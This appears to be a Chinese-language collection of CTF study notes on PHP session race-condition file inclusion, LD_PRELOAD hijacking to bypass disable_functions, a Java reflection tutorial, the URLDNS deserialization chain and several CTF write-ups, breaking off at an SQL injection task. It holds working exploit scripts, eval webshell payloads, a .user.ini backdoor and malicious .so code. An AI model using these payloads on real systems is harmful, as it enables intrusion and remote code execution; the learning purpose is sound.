相关链接:https://www.freebuf.com/articles/web/288430.html

这个一般是在文件上传题中发现无法上传成功,并且存在文件包含漏洞的时候就可以尝试是否存在条件竞争的条件

首先要进行条件竞争,就需要看以下.php.ini文件配置中的信息

1
2
3
4
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
1
2
3
4
session.upload_progress.enabled可以控制是否开启session.upload_progress功能
session.upload_progress.cleanup可以控制是否在上传之后删除文件内容
session.upload_progress.prefix可以设置上传文件内容的前缀
session.upload_progress.name的值即为session中的键值

这里简单的分析一下

session.upload_progres.enabled = on可以将我们上传的文件的信息存储在session中,这里就要去了解如何初始化session和如何来将信息写入session的

php.ini中session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=flag时,PHP就会生成一个文件sess_flag,一般文件的地址在tmp临时目录下,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_flag中去,具体文件的内容是什么,后面会写到。

然后session.upload_progress.cleanup = on代表文件上传完成之后文件内容会被清除,这样就导致无法存储我们构造的payload,所以我们在这里就需要条件竞争来帮组我们进行获取

具体是因为在创建session文件时,到session清除之前会有一定的时间差,这样如果把握好中间的时间就可以来进行我们的文件包含,从而触发payload

这里就通过ctfshow web82的的题目来进行实验

首先需要先有一个文件包含的地方,这里就是一个参数file来实现文件包含

先看看题目源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

一般的常见的session路径为/tmp 或 /var/lib/php/session目录下

这里的路径默认为/tmp/sess_PHPSESSID

这里没有一个上传的接口,就需要我们通过自己在本地来创造一个上传的接口这里要注意一下有关上传的参数name,这里的PHP_SESSION_UPLOAD_PROGRESS为包含的关键

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<body>
<form action="https://xxxxxx/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat f*'); ?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

这个是文件包含的请求包

成功获取的报文是这样的

1
2
upload_progress_www-data
|a:5:{s:10:"start_time";i:1725970055;s:14:"content_length";i:368;s:15:"bytes_processed";i:368;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"wjsc.php";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1725970055;s:15:"bytes_processed";i:368;}}}

可以看到返回的报文,www-data就是PHP_SESSION_UPLOAD_PROGRESS的代码执行,这里就可以来进行任意文件执行,但是如果一直这样跑就比较麻烦

可以直接通过python脚本来帮助我们来实现文件包含的条件竞争,采用多线程来实现条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#coding=utf-8

import io
import requests
import threading
sessid = 'exp'
data = {"cmd":"system('whoami');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'https://xxxxx.xx/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('test.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('https://xxxxx.xx/?file=/tmp/sess_'+sessid,data=data)
if 'test.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()

for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()

相关的文章链接:https://www.cnblogs.com/sandeepin/p/ld-preload-inject.html

首先介绍一下什么是LD_PRELOAD

LD_PRELOAD是一个环境变量,它允许你指定在程序启动之前需要预先加载(preload)的共享库(shared libraries)。当程序启动时,动态链接器(dynamic linker/loader)会首先加载这些通过LD_PRELOAD指定的库,然后才加载程序的其他依赖库。这可以用于拦截或修改程序的函数调用,实现诸如调试、性能分析、功能增强或替换原有库中的函数等目的。

这里就导致,如果我们在预先加载的库中写入危险命令就可以触发,一般的库都是以 .so 结尾,并且为c语言写的,需要将一个.c文件进行编译后生成一个共享库在将其设置为LD_PRELOAD默认的即可

这里有一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//首先创建一个 1234.c 是一个c语言生成随机数
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
srand(time(NULL));
int i = 10;
while(i--)
printf("%d\n", rand()%100);
return 0;
}

//再创建一个 1111.c 让它返回固定的值
int rand() {
return 42;
}

在kali中来进行编译执行:

1
gcc ./1234.c -o 1234 //将1234.c编译为一个可执行文件1234

可以看到编译成功了,现在就可以执行,应该不出所料为10个随机数,下面就可以开始实验

1
gcc -shared -fPIC 1111.c -o 1111.so //将1111.c编译为一个共享库

现在就是去修改LD_PRELOAD默认的数据

1
2
3
LD_PRELOAD=$PWD/1111.so ./1234 //这样就先当于在运行1234前动态加载1111.so,但下一次就不会了
export LD_PRELOAD=$PWD/1111.so //这里就先当于设置了全局环境变量,对所有都有约束
unset LD_PRELOAD //这个就可以恢复最初的

这样就变为我们控制的值,相当于它加载的rand函数被调包了,调用成我们生成的1111.so中的rand函数,这样就可以实现控制

这里可以提供一个命令看看其执行时用于打印程序或者库文件所依赖的共享库列表

1
ldd 1234

这里还有很多的例子,比如我们知道一个命令它会调用什么库,我们可以先进行拦截,最后在进行额外的操作这里也有一个实验,但是做法都一样,通过重写其中的一个函数来实现危险的方法调用

首先先确定其调用的函数,这里是通过ls命令为例子,其它的命令也是一样,在ls命令中就存在一个比较特殊的函数strncmp

1
2
readelf -Ws /usr/bin/ls //这样可以查找ls在调用时会调用哪些API 
readelf -Ws /usr/bin/ls|grep strncmp //查看是否ls命令调用该函数

这里获取其strncmp的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>

int strncmp(const char *s1, const char *s2, size_t n)
{
while(n && *s1 && *s2)
{
if(*s1 != *s2)
return (unsigned char)*s1 - (unsigned char)*s2;
s1++;
s2++;
n--;
}

if(!n)
return 0;
if(*s1)
return 1;
if(*s1 == *s2 )
return 0;
return -1;
}

函数的原型,这里如果要进行重写就要确保函数的参数相同不然就可能报错,从而实验不成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
printf("hello i am haker!!!\n");
}

int strncmp(const char *s1, const char *s2, size_t n) {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
1
2
3
4
getenv //用于从环境变量中取字符串,即获取环境变量的值
putenv //用于改变或增加环境变量的内容。在C语言中,putenv函数接受一个格式为name=value的字符串,如果该环境变量已存在,则更新其值;如果不存在,则添加该环境变量。
setenv //是putenv的一个更安全的替代品,因为它允许指定是否覆盖已存在的环境变量,并且不会修改传入的字符串。
unsetenv //用于删除指定的环境变量。

这里就可以在执行ls命令时输出hello i am haker!!!,当然在这里我们也可以来执行危险函数,只需修改payload里面的内容即可

这里还有一个用途,通过attribute来进行LD_PRELOAD劫持

GCC 有个 C 语言扩展修饰符 attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,一旦某些指令需要加载动态链接库时,就会立即执行它

1
2
3
4
5
6
7
8
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
printf("i am hacker!!\n"); //这里可以进行修改
}

可以看到所有的命令执行都触发了危险的函数

最后就是通过LD_PRELOAD劫持来绕过Disable_Functions

在有些时候就会出现,我们没有办法读取通过命令来执行读取flag的操作就可以试试LD_PRELOAD劫持来实现命令读取,具体也是一样,一般步骤都是一样的,但是需要执行 这个修改LD_PRELOAD的语句有点难,一般就是通过php文件包含来实现,通过php代码来实现这个操作

export LD_PRELOAD=$PWD/1111.so 再配合你所写的.so文件即可

php文件里面我还是推荐统一的写法,通过执行php文件里面的内容就可以修改环境,但是要先有这个文件,还有需要注意的一点就是该文件是由权限访问的,所以就需要我们将它放置在tmp目录下最好

1
2
3
4
5
<?php
putenv("LD_PRELOAD=/var/tmp/1222.so");
mail("","","","");
error_log("",1,"","");
?>

.so文件的内容,就可以自己选择,通过上面的方法,但是还是推荐最后一个,因为它可以在任意命令执行前进行执行

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls / >> /var/tmp/test.php");

}
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
payload();
}

这里就有一个配套的练习

[极客大挑战 2019]RCE ME

直接给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
?>

很正常的无字母,这里先去构造一个phpinfo()看看有没有什么信息

1
2
3
4
5
6
7
<?php 
error_reporting(0);
$a='phpinfo';
$b=urlencode(~$a);
echo "?code=(~".$b.")();";
?>
//?code=(~%8F%97%8F%96%91%99%90)();

这里它过滤了很多的函数,直接进行命令就不太可能,需要进行绕过Disable_Functions,可以先通过木马连接蚁剑方便后序的操作

1
2
3
4
5
6
7
8
9
<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
$c='(eval($_POST[1]))';
$d=urlencode(~$c);
echo "?code=(~".$b.")(~".$d.");";
//?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
?>

连接成功,这里有两个flag,第一个打开什么都没有,第二个是readflag一个可执行文件,但是无法正常执行,这里需要绕过disable_functions才可以正常的获得flag

可以通过蚁剑的插件来进行绕过,这里就不多讲了

现在通过LD_PRELOAD劫持来实现,需要先创建两个文件

一个php文件

1
2
3
4
5
<?php
putenv("LD_PRELOAD=/var/tmp/1222.so");//这里改为对应文件即可
mail("","","","");
error_log("",1,"","");
?>

一个c语言文件

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("cat /flag >> /var/tmp/test.php");
system("tail /flag >> /var/tmp/test.php");
system("/readflag >> /var/tmp/test.php");

}
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
payload();
}

再通过kali将.c文件编译为.so文件进行上传即可

最后通过一句话木马来进行文件包含即可

1
2
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
1=include("/var/tmp/shell1.php");

最后就可以看到该目录多一个test.php,再打开就可以的flag

反射

在我看来java是反射机制,带来更广的攻击面,比如:获取属性,修改属性值,调用方法之类的,这样就使得利用空间更大了

动态与静态语言

动态语言 就是在运行时可以改变其结构的语言:例如新的函数、对象、甚至代码可以被引进,已有的函数可以被删除或是其他结构上的变化。通俗点说就是在代码运行时代码可以根据某些条件改变自身结构。

静态语言 与动态语言相对应,运行时结构不可变的语言就是静态语言。

Java不是动态语言,但Java可以称之为”准静态语言”。即Java有一定的动态性,我们可以利用反射机制获得类似动态语言的特性。java的动态性让编程的时候更加灵活

反射机制(Reflection)

Reflection(反射)是Java被视为动态语言的关键,反射机制允许程序在执行期借助Reflection API取得任何类的内部信息,并且直接操作任意对象的内部属性及方法、

1
Class c =Class.forName("java.a=lang.String")//需要抛出异常

流程

加载完类以后,在堆内存的方法区中就会产生一个Class类型的对象(一个类只有一个Class对象),这个对象就包含了一个完整的类的结构信息。我们可以通过这个对象看到类的结构。这个对象就像一面镜子,透过这个镜子看到类的结构,所以,我们现象的称之为:反射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package reflection;

//什么叫反射
public class day1 {
public static void main(String[] args) throws ClassNotFoundException {
//通过反射获取类的Class对象
Class s1=Class.forName("reflection.test");
System.out.println(s1);
Class s2=Class.forName("reflection.test");
Class s3=Class.forName("reflection.test");

//一个类在内存中只有一个Class对象
//一个了被加载后,类的整个结构都会被封装在Class对象中
System.out.println(s1.hashCode());//1915910607
System.out.println(s2.hashCode());//1915910607
System.out.println(s3.hashCode());//1915910607
}
}

//实体类:pojo entity
class test{
private String name;
public int age;
private int id;

public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
@Override
public String toString() {
return "test{" +
"name='" + name + '\'' +
", age=" + age +
", id=" + id +
'}';
}
}

几种常用获取Class的方法

有三种的形式

1
2
3
Class c =Class.forName("java.a=lang.String")//需要抛出异常 throws ClassNotFoundException
Class c1=person.getClass();
Class c2=类名.class;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package reflection;

public class day2 {
public static void main(String[] args) throws ClassNotFoundException {
Person aa=new student();
System.out.println("this is "+aa.name);

//获取Class的几种方法
//方法一 通过对象获得
Class c1=aa.getClass();
System.out.println("c1.hashCode()="+c1.hashCode());
//方法二 通过forname获得
Class c2=Class.forName("reflection.student");
System.out.println("c2.hashCode()="+c2.hashCode());
//方法3 通过类名.Class获得
Class c3=student.class;
System.out.println("c3.hashCode()="+c3.hashCode());
//方法4 通过内置的 TYPE来获得 有局限
Class c4=Integer.TYPE;
System.out.println(c4);
/*输出
this is student
c1.hashCode()=284720968
c2.hashCode()=284720968
c3.hashCode()=284720968
int
**/
//获得父类类型
Class c5=c1.getSuperclass();
System.out.println(c5);//输出 class reflection.Person
}
}
class Person{
String name;
public Person(String name){
this.name = name;
}
public Person(){
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
'}';
}
}
class teacher extends Person{
public teacher(){
this.name="teacher";
}
}
class student extends Person{
public student(){
this.name="student";
}
}

java类加载内存分析

在Java中的内存分为三个部分,栈 堆 方法区

类的加载过程

类的加载(Load) 类加载器完成将类的class文件读入内存并创建java.lang.Class对象操作。

类的链接(Link) 将类的二进制数据合并进JRE,在合并的过程中可以对类进行校验,检查其是否存在安全问题,是否符合JVM语法规范,接着为类变量(static)分配内存和设置默认初始值,这些内存在方法区中进行分配。最后在虚拟机中将常量名替换为引用地址。

类的初始化(Initialize) JVM对类进行初始化,过程中执行类构造器的方法,此方法是编译期自动收集类中的变量赋值动作和静态代码合并而成的,且虚拟机会保证类构造器的方法会在多线程中被正确的加锁和同步。且在初始化过程中,如果发现类的父类还没有被初始化,则会优先初始化其父类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package reflection;


public class day4 {
public static void main(String[] args) {
A a=new A();
System.out.println(a.q);}
}
class A{
static int q=100;
static{
System.out.println("原来的q="+q);
q=200;
System.out.println("A类静态代码快构造成功"+q);
}
public A() {
q=300;
System.out.println("A的无参构造成功"+q);
}
}
/*
原来的q=100
A类静态代码快构造成功200
A的无参构造成功300
300
*/

会发生类初始化的情况:(类Class的主动引用)

1.虚拟机启动,首先初始化main方法所在的类

2.new一个类对象的时候

3.调用类静态成员(非final)和静态方法

4.使用java.lang.reflect包的方法对类进行反射调用时

5.初始化一个类,如果其父类没有被初始化,则优先初始化其父类

不会发生类初始化(类的被动引用)

1.当访问哪一个静态域时,只有真正声明这个域的类才被初始化

2.通过数组定义类引用时

3.引用常量不会触发初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package reflection;

public class day5 {
static{
System.out.println("main被初始化");
}
public static void main(String[] args) throws ClassNotFoundException {
//1.主动被初始化
//new一个类
//s a=new s();
//输出:main被初始化
// f被初始化
// s被初始化

//反射也会产生主动初始化
//Class.forName("reflection.s");
//main被初始化
//f被初始化
//s被初始化

//子类引用父类的static变量
//System.out.println(s.q);
//main被初始化
//f被初始化
//100

//通过数组定义类引用,不会触发类的初始化
//s[] w=new s[10];
//main被初始化

//引用常量不会触发此类的初始化
System.out.println(s.b);
//main被初始化
//100
}

}
class f{
static{
System.out.println("f被初始化");
}
static int q=100;
}
class s extends f{
static int a=100;
static{
System.out.println("s被初始化");
}
static final int b=100;
}
类加载器

作用将class文件字节码加载到内存,并将这些静态数据转换成方法区的运行时数据结构,然后再生成一个代表这个类的java.lang.class对象,作为方法区中类数据的访问入口

类缓存:标准的JavaSE类加载器可以按要求查找类,但是一旦某个类被加载到类加载器中,它将维持加载(缓存)一段时间,不过JVM垃圾回收机制可以回收这些class对象

三种类型的**类加载器**

引导类加载器:用c++编写的,是JVM自带的类加载器,负责Java平台核心库,用来装载核心类库。该类加载器无法直接获取

扩展类加载器:负责jre/lib/ext目录下的jar包或-D java.ext.dirs 指定目录下的jar包装入工作库

系统类加载器:负责java -classpath 或-D java.class.path所指的目录下的类与jar包装入工作,是最常用的加载器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package reflection;

public class day6 {
public static void main(String[] args) throws Exception {
//获取系统类的加载器
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
System.out.println(systemClassLoader);//jdk.internal.loader.ClassLoaders$AppClassLoader@36baf30c

//获取系统类加载器的父类加载--》扩展类加载器
ClassLoader parent1=systemClassLoader.getParent();
System.out.println(parent1);//jdk.internal.loader.ClassLoaders$PlatformClassLoader@723279cf

//获取扩展类加载器的父类加载器--》根加载器(C/c++)
ClassLoader parent2=parent1.getParent();
System.out.println(parent2);//null

//测试当前类是哪种加载器加载的
ClassLoader qwe=Class.forName("reflection.day6").getClassLoader();
System.out.println(qwe);//jdk.internal.loader.ClassLoaders$AppClassLoader@36baf30c

//测试JDK内置的类是谁加载的
ClassLoader qwe1=Class.forName("java.lang.Object").getClassLoader();
System.out.println(qwe1);//null

//获取系统类加载器可以加载的路径
System.out.println(System.getProperty("java.class.path"));
//D:\javadm\JavaSE\javajcyf\src\out\production\javajcyf
}
}
获取类的运行时结构

通过反射获取运行时类的完整结构

Field Method Constructor Superclass Interface Annotation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package reflection;


import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

//获得类的信息
public class day7 {
public static void main(String[] args) throws Exception {
Class aa=Class.forName("reflection.test");

//获得类的名字
System.out.println(aa.getName()); //获得包名+类名
System.out.println(aa.getSimpleName()); //获得类名

//获得类的属性
Field[] fields=aa.getFields();//只能获得public属性
for(Field f:fields ){
System.out.println(f);
}

fields=aa.getDeclaredFields(); //找到全部的属性
for(Field f:fields ){
System.out.println(f);
}

//获得指定属性的值
Field name=aa.getDeclaredField("name");
System.out.println(name);

//获得类中的方法
System.out.println("----------------------------");
Method[] methods=aa.getMethods(); //获得本类及其父类的全部方法
for(Method m:methods ){
System.out.println("正常的:"+m);
}
methods=aa.getDeclaredMethods(); //获得本类的所有方法(包括私有方法)
for(Method m:methods ){
System.out.println("getDeclaredMethods:"+m);
}

//获得指定的方法
//后面的参数类型可以用来判断 重载的方法
System.out.println("----------------------------");
Method getname=aa.getMethod("getName");
Method setname=aa.getMethod("setName",String.class);
System.out.println(getname);
System.out.println(setname);

//获得指定的构造器
System.out.println("----------------------------");
Constructor[] constructors=aa.getConstructors();//获得本类的方法
for(Constructor c:constructors ){
System.out.println(c);
}
constructors=aa.getDeclaredConstructors();//获得全部方法
for(Constructor c:constructors ){
System.out.println("##"+c);
}
//获得指定的构造器
Constructor constructor=aa.getConstructor(String.class);
System.out.println(constructor);
}
}

有了Class对象,能做什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package reflection;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

//动态的创建对象,通过反射
public class day8 {
public static void main(String[] args) throws Exception {
//获得Class对象
Class c1=Class.forName("reflection.test");

//创造一个对象
test a=(test)c1.newInstance(); //可以创造对象,本质上调用了无参构造器 如果没有就会报错
System.out.println(a);//test{name='null', age=0, id=0}

//通过构造器创建对象
Constructor c2=c1.getDeclaredConstructor(String.class,int.class);//括号里面为其构造器的参数
Object c3=c2.newInstance("qqqqqq",10); //和上面的用法相同
System.out.println(c3);//test{name='qqqqqq', age=10, id=0}

//通过反射调用普通方法
test a1=(test)c1.newInstance();
Method m1=c1.getDeclaredMethod("setName",String.class); //获得一种方法
m1.invoke(a1,"qwertyui");
System.out.println(a1.getName());//无参方法可以直接调用 输出qwertyui

//通过反射来操作属性
test a2=(test)c1.newInstance();
Field f1=c1.getDeclaredField("age");
//不可以直接操作私有属性,需要我们关闭程序的安全检测,不然会报错
f1.set(a2,10);
System.out.println(a2.getAge());

Field f2=c1.getDeclaredField("name");
f2.setAccessible(true); //通过方法属性或者方法的setAccessible(true)
f2.set(a2,"qqqqqqqqq");
System.out.println(a2.getName()); //输出 qqqqqqqqq
}
}

反射操作泛型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package reflection;

import java.lang.reflect.Method;
import java.lang.reflect.Type;
import java.util.List;
import java.util.Map;

//通过反射来获取泛型
public class day9 {
public void test1(Map<String,test>map, List<String> list){//定义两个泛型参数
System.out.println("test1");
}
public Map<String,test> test2(){
System.out.println("test2");
return null;
}

public static void main(String[] args) throws Exception {
Method a1=day9.class.getMethod("test1",Map.class,List.class);
Type[] generic=a1.getGenericParameterTypes();
for(Type t:generic){
System.out.println(t);
}

}
}

反射获取注解信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package reflection;

import java.lang.annotation.*;
import java.lang.reflect.Field;

public class day10 {
public static void main(String[] args) throws Exception {
Class q=Class.forName("reflection.students");

//通过反射来获取注解
Annotation[] annotations=q.getAnnotations();
for (Annotation annotation : annotations) {
System.out.println(annotation);//@reflection.Tablekuang(name="qwerty")
}

//获得类指定的注解
Field qq=q.getDeclaredField("name");
Annotation w=qq.getAnnotation(Fieldkuang.class);
System.out.println(w);//@reflection.Fieldkuang(age=12, name="string", id=10)
}
}
@Tablekuang(name="qwerty")
class students {
@Fieldkuang(age=12,name="int",id=10)
private int age;
@Fieldkuang(age=12,name="string",id=10)
private String name;
@Fieldkuang(age=12,name="int",id=10)
private int id;

public void setName(String name) {
this.name = name;
}

public void setAge(int age) {
this.age = age;
}

public void setId(int id) {
this.id = id;
}

public int getAge() {
return age;
}
public String getName() {
return name;
}
public int getId() {
return id;
}
}
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@interface Tablekuang{
String name();
}
@Target(ElementType.FIELD)
@Retention(RetentionPolicy.RUNTIME)
@interface Fieldkuang{
String name();
int age();
int id();
}

DNSlog链的复现

dnslog链一般用来测试是否存在序列化漏洞,它最终在序列化时会发送一条dns请求,它对环境很友好,限制较少,所以一般可以通过dnslog链来判断是否存在序列化漏洞

这里介绍一个工具,可以直接生成序列化后的文件,来触发漏洞

deswing 这个工具对ysoserial进行了集成,使得页面可视化,将常见的利用链进行了封装

下载的地址:https://github.com/0ofo/Deswing

使用方法,可以直接点击jar包选择具体的链来进行导出即可

DNSlog的利用流程为:

1
2
3
4
5
6
/*
*HashMap.readObject() //通过反序列化自动调用
*HashMap.putVal()
*HashMap.hash() //这里可以调用到key.hashCode()函数
*URL.hashCode() //这里可以发送一条dns请求
*/

URL类中的hashCode中有一个代码:

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1) //如果不为-1直接返回
return hashCode;

hashCode = handler.hashCode(this);//否则调用函数重写计算了hashCode
return hashCode;
}

跟进hashCode函数

1
InetAddress addr = getHostAddress(u);

这里获取了主机地址,从而发送dns请求,同时URL类是继承了serilized接口,所以,它可以被利用,就开始回推,看哪里可能可以调用URL.hashCode

然后就找到了HashMap类

1
2
3
4
static final int hash(Object key) {
int h; //这里可以调用键的hashCode函数,如果key为URL类的话就可以调用hashCode函数
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

现在就可以去寻找看HashMap中的hash函数在哪里被调用了

这里就发现了在HashMap重写了readObject,并且在readObject中就有关键一步

1
2
3
4
5
6
7
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();//这里将反序列化的键读取
@SuppressWarnings("unchecked")
V value = (V) s.readObject();//这里将反序列化的值读取
putVal(hash(key), key, value, false, false);//这里就调用了hash函数
}

所以在HashMap函数中如果我们将URL类当做一个键传入时,可以做到触发dns请求,但是要注意在序列化之前确保传入的URL的hashcode的值为-1,不然就无法触发hashCode函数,这里就可以通过反射来进行获取,并修改

可能会导致失败的原因就是当java的版本太高可能将无法通过反射来获取和修改私有的属性导致其修改失败,建议在java9之下来做这个实验

具体的操作就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;

public class serialize {//实现序列化的函数
public static void serialized(Object oss)throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(oss);
}
public static Object unserialized(String filename)throws Exception{//实现反序列化的函数
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}

public static void main(String[] args) throws Exception {
URL url = new URL("http://fexmpmw0vs3v4tofkt86osxh98f43vrk.oastify.com");
Field hashCode = URL.class.getDeclaredField("hashCode");//通过反射获得hashCode属性
hashCode.setAccessible(true);
hashCode.setInt(url, 100);
HashMap<URL,Object> map=new HashMap<>();
map.put(url,null);
hashCode.setInt(url, -1);
serialized(map);
unserialized("ser.bin");
}
}

石能为鼓

知识点:php反序列化

首先通过查看源代码发现source.php文件

访问得题目的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
show_source(__FILE__);
class ping {
protected $xiang;
function __construct() {
$this->xiang = new fun();
}
function __destruct() {
$this->xiang->cp();
}
}
class fun {
function cp() {
echo "hello";
}
}
class cup {
private $data;
function cp() {
eval($this->data);
}
}
unserialize($_GET['d']);

就是一个简单的序列化题,只不过在反序列化中有一个特性,将原来属性的修饰符修改是不会影响反序列化的结果,所以在构造pop链的时候可以将原来的属性修饰符进行修改,便于赋值与序列化

最终的pop链为:

<?php

class ping{

public $xiang;

}

class cup{

public $data=”system(‘cat /*’);”;

}

$a=new ping();

$a->xiang=new cup();

echo serialize($a);

//输出:O:4:”ping”:1:{s:5:”xiang”;O:3:”cup”:1:{s:4:”data”;s:17:”system(‘cat /*’);”;}}

得flag

龙池古庙

知识点:文件上传(.user.ini文件)

该题目有提示信息,通过上传.user.ini文件

简单描述一下.user.ini文件的应用,.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门

常见的用法就是通过上传一个.user.ini文件在通过一个php文件来配合使用构成一个后门

.user.ini文件的内容入下:

auto_prepend_file=.user.ini

#<?php @eval($_POST[‘a’]);?>

这个的作用相当于一个文件包含,将.user.ini的文件包含该目录下所有php文件

这里的题目需要前端绕过,最后的结果:

再通过访问该目录下的index.php,通过蚁剑连接寻找flag即可

真君擒龙

知识点:rce

先通过查看源码,发现了一个source.php文件,访问得源码:

1
2
3
4
5
6
7
8
<?php
show_source(__FILE__);
$cmd=$_GET['cmd'];
if(isset($cmd)&&strlen($cmd)<6&&!strpos(strtolower($cmd), 'nl')){
system($cmd);
}else{
die("no!no!no!");
}

这是一个限制长度的rce,并且将nl过滤了,但是又一个命令也是同样的简短od命令,以二进制形式读取文件,通过控制它的参数来控制返回文件是以几进制的形式,默认为八进制

具体为od /* 读取的内容为:

0000000 066146 063541 033573 061464 033465 031142 026546 034541 0000020 032070 032055 032063 026470 061141 031143 063055 030461 0000040 061460 032145 032542 061143 076462 000012 0000053

其中又七位或者六位的数,七位的数为偏移量,在具体解码的时候可以不用管,许多的网上的八进制解码都有问题,可以通过下面的python脚本来实现解码:

1
print(b''.join(int(ss, 8).to_bytes(2, 'little') for ss in s.split()))

s为去除偏移量的八进制数

禅蕴杨岐

知识点:sql注入,布尔盲注

开局只有一个输入框,进行万能密码测试没有用

1’or 1=1#

‘^0#

开始进行扫描,得到.index.php.swp文件,打开后的源码:

<?php
function contain($str, $a){
$strpos_res = strpos($str, $a);
if ($strpos_res){
return true;
}
return false;
}

function lvlarrep($str, $v1){
$s = str_ireplace($v1, ‘’, $str);
